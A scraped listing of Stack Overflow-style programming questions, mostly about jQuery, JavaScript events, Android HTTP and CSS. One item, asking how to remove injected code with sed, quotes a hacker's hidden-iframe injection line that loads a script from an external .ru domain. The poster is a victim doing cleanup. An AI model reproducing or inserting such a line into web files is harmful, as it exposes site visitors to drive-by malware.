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  • Problem with $.get while submitting form

    - by bradenkeith
    I'm trying to verify that an Account Name is not already in use once a user fills out a form. The code looks like: $("#add_account").submit( function () { $.get( "'.url::site("ajax/check_account_name").'", {account_name: "t"}, function(data){ alert( data ); }); }); I get a $.get response if the statement sits like this: $(document).ready( function () { $.get( "'.url::site("ajax/check_account_name").'", {account_name: "t"}, function(data){ alert( data ); }); }); Which leads me to believe that my $.get statement is correct. Is there some jQuery rule I'm not familiar with that would cause this to fail in on submit scenario? In code block 1, I get values returned like they should. Block 2 gives me a blank response. Any ideas? Thanks for your time, I know you have better things to be doing.

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  • Android HTTP get methods

    - by Nick
    I have written a number of applications for blackberry and am just starting in Android. It seems to me that android has a lot more built in functions. I am starting by recreating some of my BB apps on Android and on one I take a few xml sites and parse them out. On blackberry I implemented this by creating a class that extended a thread. I would construct a new instance of this class with the parameters of my http request and it would call a function back in my main class, sending it the results. I am tempted to reuse my code, but am curious if android has something better built in. I have been looking at the handler class as well as possible using a service. Bascially, I would like to start a new thread that will return a document of a specific url. Thanks!

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  • Is it possible to change iframe src using javascript exists in page inside that iframe?

    - by Amr ElGarhy
    I want to change the iframe source when something change in this iframe content, the iframe is in a different domian than the parent page. is this can be done or not? I just need to add a hash to this iframe src, so that i can access this hash value from the parent page and do some stuff based on this value. What i did: In the iframe page i wrote: window.location.hash = "close_child"; and in the parent page i wrote: if (document.getElementById("MyIFrameId").src.indexOf("#close_child") > 0) { but i always find that the src is empty

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  • jQuery accordion expanded

    - by hajder
    I am trying to create an accordion with jQuery from this example http://docs.jquery.com/UI/Accordion The markup is the same, i.e. <div id="accordion"> <h3><a href="#">First header</a></h3> <div>First content</div> <h3><a href="#">Second header</a></h3> <div>Second content</div> </div> And I have script file enqueued correctly, which has the following content: $ = jQuery; $(document).ready(function() { $("#accordion").accordion(); }); But I get this error in the console output TypeError: 'undefined' is not a function (evaluating '$("#accordion").accordion()') The result being all divs are expanded, i.e not clickable.

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  • Does specifying image size in CSS allow the browser to do layout before download is complete?

    - by eaolson
    I've always tried to specify the height and width attributes for img tags in HTML. Not for style reasons, but because the browser then expects the size of the image and can do page layout even before the image has finished downloading. From the HTML spec: The height and width attributes give user agents an idea of the size of an image or object so that they may reserve space for it and continue rendering the document while waiting for the image data. I don't know why this has never occurred to me, but does specifying height and width in CSS, rather than inside the img tag, do the same thing?

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  • JQuery (1.4.2)/Firefox (3.6.3) - .before and .after not working on div

    - by user355561
    I am trying to have a title bar appear when the user clicks on a box. It works perfectly in I.E. 8.0 but not at all in firefox 3.6.3. HTML [code] @import url('style.css'); blah blah blah save changes [/code] Javascript [code] $(document).ready(function(){ $("#edit2").live('click',function(){ if($("#menu").length == 0){ $("#edit2").before(''); } if($("#menu2").length == 0){ $("#edit2").after(''); } this.contentEditable = true; this.focus(); }); $("#edit2").live('blur',function(){ $("#menu").remove(); //$("#menu2").remove(); this.contentEditable = false; }); }); [/code] Could anyone suggest why it's not working? I have managed to use similar code to add/remove new table rows in both browser but I just can't see why this doesn't also work.

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  • Simple bind not working in IE for Radiobutton in jQuery

    - by Jonathan
    Hi this works fine in Firefox, but not IE. What am I doing wrong? Thanks for the help in advance! $(document).ready(function(){ $("#radiodiv").buttonset(); $('#radio1').bind("click", function() { alert('Hello'); }); } <form> <div id="radiodiv"> <input type="radio" id="radio1" name="radio" checked="checked" /><label for="radio1">WaveHeight</label> <input type="radio" id="radio2" name="radio" /><label for="radio2">Current</label> <input type="radio" id="radio3" name="radio" /><label for="radio3">WaveHeightDir</label> </div> </form>

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  • when i refresh the page, the popup window is visible for a second. How to clear this issue

    - by mano
    script $(document).ready(function(){ $(".aboutBtn").click(function () { $(".aboutContent").slideToggle("slow"); }); $(".contact").click(function () { $(".aboutContent").slideToggle("slow"); }); }); *Html * <article class="aboutBtn">ABOUT</article> Css .aboutBtn{ width:85px; padding:5px 0px 5px 10px; background-color:#d8531e; cursor:pointer; color:#ffffff; font-size:20px; text-transform:uppercase; position:relative;top:-48px; font-family:"Segoe UI Light"; }

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  • jquery - turning "autocomplete" to off for all forms (even ones not loaded yet)

    - by matthewsteiner
    So, I've got this code: $(document).ready(function(){ $('form').attr('autocomplete', 'off'); }); It works great for all forms already existing. The problem is, some forms of mine are in pop ups loaded throught ajax. This won't apply to them since they're "loaded" later. I know there's a live() function - but that's only for attaching events. What's a good way to apply this to all forms? Thanks.

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  • Jquery to limit the range of input

    - by Sharvari
    I have a text box that takes input as amount..I want to prevent the user from entering Amount greater than a certain amount..I tried using ajax ..but its not working the way i want..I think jquery wud do the needful..but I am not so good at it..If any one can help?? Ajax function that i Have written: function maxIssue(max, input, iid) { var req = getXMLHTTP(); var strURL = "limit_input.php?max=" + max + "&iid=" + iid; if (input > max) { alert("Issue Failed.Quantity Present in Stock is " + max); } if (input < 0) { alert("Issue Failed.Enter positive Value"); } if (req) { req.onreadystatechange = function() { if (req.readyState == 4) { // only if "OK" if (req.status == 200) { document.getElementById('maxdiv').innerHTML = req.responseText; } else { alert("There was a problem while using XMLHTTP:\n" + req.statusText); } } } } req.open("GET", strURL, true); req.send(null); }

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  • Users lose access privileges every night

    - by armannvg
    Hi I'm having a problem with a WSS 3.0 instance where users keep losing their upload access rights every night. Users can always enter the Site involved and can browse lists, document libraries etc. just like normal, but they get an error when trying to upload documents, getting access denied error. This can be fixed by applying their access rights again in WSS, but it has to be done every morning, making that solution not feasible. This is a dedicated virtual server and no other applications running on it. Has anyone had a similar problem regarding WSS and Sharepoint access rights ?

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  • Is there a faster way to remove un-referenced controls from a Form's designer file?

    - by Eric
    I started looking into the designer file of one of my Forms and noticed that a lot of the old controls I thought I had deleted are still being instantiated but are not actually used on the form. Is there any easy way to clean up these controls from the designer file that are not being used? Right now I've printed out a list of all the private fields at the bottom of the designer file that reference the controls of the form. I'm going down the list one by one trying to determine if the control is actually used or not, and then deleting those that I find are not on the form. The document outline is useful for figuring out what controls are on the form, but this is still a rather tedious process. Does anyone have a better way?

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  • prefix + and - to divs using jquery.

    - by pradeep
    i have jquery accordion script like this.. <script type='text/javascript'> $(document).ready(function() { $('div.Syb> div').hide(); $('div.Syb> h4').click(function() { $(this).next('div').slideToggle('fast') .siblings('div:visible').slideUp('fast'); }); }); </script> i need to show + and - symbol before the div ..to show that its expanded and collapsed.. how do i do it.?

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  • Append an onClick event to an anchor tag using jquery?

    - by M.Woodard
    I am trying to add an onClick event to an anchor tag ... Previously i had ... <a href="somlink.html" onClick="pageTracker._link(this.href); return false;"> But i am trying to avoid the inline onClick event because it interferes with another script.. So using jQuery i am trying the following code ... <script> $(document).ready(function() { $('a#tracked').attr('onClick').click(function() {window.onbeforeunload = null; pageTracker._link(this.href); return false; }); }); </script> with the html like so <a id="tracked" href="something.html"> So my question is should this be working, and if not what would be the best solution?

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  • Using sed to delete string

    - by wired
    I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); It is the last line of the file, but I think the file contains windows line endings, because when ever I do this: sed -i '/sitecorporatemanagement.ru/d' * it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted. Thank you for all the help you can give.

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  • How can I use Javascript to access sub-elements?

    - by Steve
    I am dynamically creating forms dynamically according to a users actions. It is an entry-box and a two "buttons" for each instance. Each instance will be wrapped in a unique div tag. What I tried to do without success is when I dynamically create the "button" I attach a function with the input variable containing the div of its instance. This a brief excerpt: var newDivClass = document.getElementById("instance"+1); button1.innerHTML = "<a href=\"#\" onclick=\"buttons("+newDivClass+");\" id=\"button1\"> Button1 </a>"; function buttons(selected) { //I want this to select the first instance //of button1 found within div newDivClass selected.getElementById("button1"); //I also tried //this.getElementById("button1"); //selected.getChildren[0]; } The problem appears to be in passing newDivClass to the the actual function.

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  • Creating problem-sets with answers in Latex

    - by ARV
    Hello everyone. I want to typeset Mathematical problem-sets in Latex. My requirements are as follows: When I type them in, I want the questions and the answers to be next to each other in the source-code so that fixing errors, etc. can be done easily. However, when the document is typeset, I want the answers to appear in a separate "Answers" section just the way they do in textbooks. Does anyone know of a way to do this? Many thanks in advance!

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  • How to get the value of a textbox modified by asp.net ajax from client side(by javascript)?

    - by Aaron
    I have a textbox in a asp.net update control. When I click a button on the webpage, the value of this textbox got modified. And I want to use javascript to get the modified value. The code I use was: var kmlString = document.getElementById('<%=TextBox1.ClientID%>').getAttribute("value"); It only got the original value of my textbox. I am wondering how can I get the latest value of the textbox through javascript. The browsers I intent to use is Firefox and Safari. So it would be great if the script can work for both browsers. Thanks very much!

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  • Sphinx without using an auto_increment id

    - by squeeks
    I am current in planning on creating a big database (2+ million rows) with a variety of data from separate sources. I would like to avoid structuring the database around auto_increment ids to help prevent against sync issues with replication, and also because each item inserted will have a alphanumeric product code that is guaranteed to be unique - it seems to me more sense to use that instead. I am looking at a search engine to index this database with Sphinx looking rather appealing due to its design around indexing relational databases. However, looking at various tutorials and documentation seems to show database designs being dependent on an auto_increment field in one form or another and a rather bold statement in the documentation saying that document ids must be 32/64bit integers only or things break. Is there a way to have a database indexed by Sphinx without auto_increment fields as the id?

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  • Display random image when page loads without utilizing onload in the body tag

    - by Peachy
    I'm trying to create a fairly simple piece of JavaScript that displays a random image from an array each time the page loads. I need to figure out a way to get this running without adding code to the body tag. Is there a way to accomplish this without, say, an onload funtion placed in the body tag? Here's what I have that relies on the onLoad: ImageSwitch=new Array(); ImageSwitch[0]='1.jpg'; ImageSwitch[1]='2.jpg'; ImageSwitch[2]='3.jpg'; ImageSwitch[3]='4.jpg'; function swapImage() { document.getElementById("theImage").setAttribute("src", ImageSwitch[ Math.round(Math.random()*3)]) } Any alternative ideas to accomplish this? Thanks.

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  • Having trouble with Flash, Javascript and JQuery

    - by andypants
    I'm using JQuery with the JQuery flash plugin (http://jquery.lukelutman.com/plugins/flash/) and trying to send a JS call back to the flash, I keep running into "xxx is not a function" so apparently something is off. I'm new to JQuery and very new to this jquery flash plugin and just can't quite wrap my head around what I am doing wrong. Here's where I'm lading up the flash: <div id="tagimgback"> <script language="javascript"> $(document).ready(function(){ $('#tagflash').flash( { src: 'tagflash', width: 200, height: 200, flashvars: {theYear:'2010',theTagNumber:'123'} }, { version: 8 } ); }); </script> </div> And here's where I'm trying to call it: $("#tagflash").gotoNewFrame(theTagNumber); gotoNewFrame is an AS function within my flash. I know the function works as I've been able to test it prior to bringing jQuery into the mix.

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  • collapse row by row with (jQuery)

    - by Mini
    I want to hide/show a lot of contents by id Here is an example: <a href="#" class="click"> title here </a> <p class="content" id="1"> text here ... </p> <a href="#" class="click" id="2"> another title here </a> <p class="content"> another text here ... </p> I can add an ID into my HTML code. How Can I get it by jQuery? The jQuery lines: <script type="text/javascript"> $(document).ready(function(){ $('.content').hide(); $('.click').click(function() { $('.content').slideToggle(500); return false; });

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  • How does getAltitude() of Android GPS Location Works

    - by Sebi
    HI I tried to implement a simple GPS tracker. Therefore is used lm = (LocationManager) getSystemService(Context.LOCATION_SERVICE); lm.requestLocationUpdates(LocationManager.GPS_PROVIDER, 1000, 0, this); Then i used the public void onLocationChanged(Location location) { method to read the altitude of my current location. But i dont really know what Location.getAltitude() returns. The document says it returns the altitude. But is this in meters? or feets? if i put the phone on the desk next to me, this value changes between 500 and -500?? How does this really work???

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  • CSS and JQuery: spaces inside image name break code of url()

    - by Shyam
    Hi, I have a page that is supposed to display a larger version of an image when hovered over a thumbnail. I have a 'div' with an ID and the JQuery code is as following: $(document).ready(function(){ $('img').hover(function() { var src = $("#im" + this.id).attr("src"); $('#viewlarge').css('backgroundImage','url(' + src +')'); return false; }); }); The images I use, are generated by a Ruby script that "generate" an image with a similar, yet different id. However, sometimes, photo's are uploaded that have "spaces" inside. My developer tools tell me that the background-image is not set correctly, yet the image path is correct and the browser don't have problems finding the image. My question is, can I somehow sanitize the url 'src', so spaces won't be a problem? I am aware of doing this server side, yet I would like to know how to do this with JQuery/JS too. Thanks!

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  • add tag at specific div index

    - by stackover
    var element = document.getElementById("divname"); var pagerHtml ='<a href="#" class="prev">&lt Prev</a>'; for (var page = 1; page <= this.pages; page++){ `pagerHtml += '<a href="#" class="'+ page> + page + '</a> ';` } pagerHtml += '<a class="dotline" style="display:none;">........</a> pagerHtml += '<a href="#" class="next"> Next &gt;</a>'; element.innerHTML = pagerHtml; if(this.pages > 9){ `for(var i=this.buffer;i<(this.pages-this.buffer);i++){` `("."+i+1)).hide();` } } I want to add class "dotline" so that when pages are hidden I would do $(".dash").show(); and it would look like 1,2,.....,8,9,10. any ideas would be appreciated.

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